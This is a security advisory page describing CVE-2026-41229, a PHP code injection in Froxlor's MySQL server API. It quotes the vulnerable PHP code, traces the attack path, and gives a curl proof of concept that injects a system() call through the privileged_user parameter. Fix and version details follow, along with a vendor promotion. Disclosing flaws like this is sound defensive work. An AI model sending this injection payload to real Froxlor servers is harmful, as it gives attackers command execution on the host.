Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)
PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.
The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:
```php
// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
if (!is_array($value)) {
if (is_bool($value)) {
$str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
} elseif (is_int($value)) {
$str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
} else {
if ($key == 'password') {
// special case for passwords (nowdoc)
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
} else {
// VULNERABLE: $value interpolated without escaping single quotes
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
}
}
}
}
```
Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.
The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):
1. validateAccess() (line 82) checks the caller is an admin with change_serversettings
2. privileged_user is read via getParam() at line 88 with no validation applied
3. mysql_ca is also read with no validation at line 86
4. The values are placed into the $sql_root array at lines 150-160
5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString()
6. The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
7. Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed
The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:
```php
require Froxlor::getInstallDir() . "/lib/userdata.inc.php";
```
The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.
Step 1: Inject PHP code via MysqlServer.add API
```bash
curl -s -X POST https://froxlor.example/api.php \
-u 'ADMIN_APIKEY:ADMIN_APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "MysqlServer.add",
"params": {
"mysql_host": "127.0.0.1",
"mysql_port": 3306,
"privileged_user": "x'\''.system(\"id\").'\''",
"privileged_password": "anything",
"description": "test",
"test_connection": 0
}
}'
```
This writes the following into lib/userdata.inc.php:
```php
'user' => 'x'.system("id").'',
```
Step 2: Trigger code execution
Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:
```bash
curl -s https://froxlor.example/
```
The id output will appear in the response (or can be captured via out-of-band methods for blind execution).
Step 3: Cleanup (attacker would also clean up)
The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.
An admin with change_serversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:
www-data)userdata.inc.phpuserdata.inc.php can break the entire panelThe description field (validated with REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/) and mysql_ca field (no validation) are also injectable vectors through the same code path.
Escape single quotes in PhpHelper::parseArrayToString() before interpolating values
This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CVE-2026-41229 is classified as CWE-94: Code Injection. Input is incorporated into code that the runtime evaluates, so an attacker can have their own code executed.
CVE-2026-41229 is recorded against 2 packages.
Published on 23 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.
github.com
github.com
github.com
github.com
froxlor has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-94: Code Injection) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| froxlor | — | 2.3.6 |
| froxlor/froxlor | — | 2.3.6 |
References
Similar Threats
Exploit Protection
CVE-2026-41229 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-41229 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.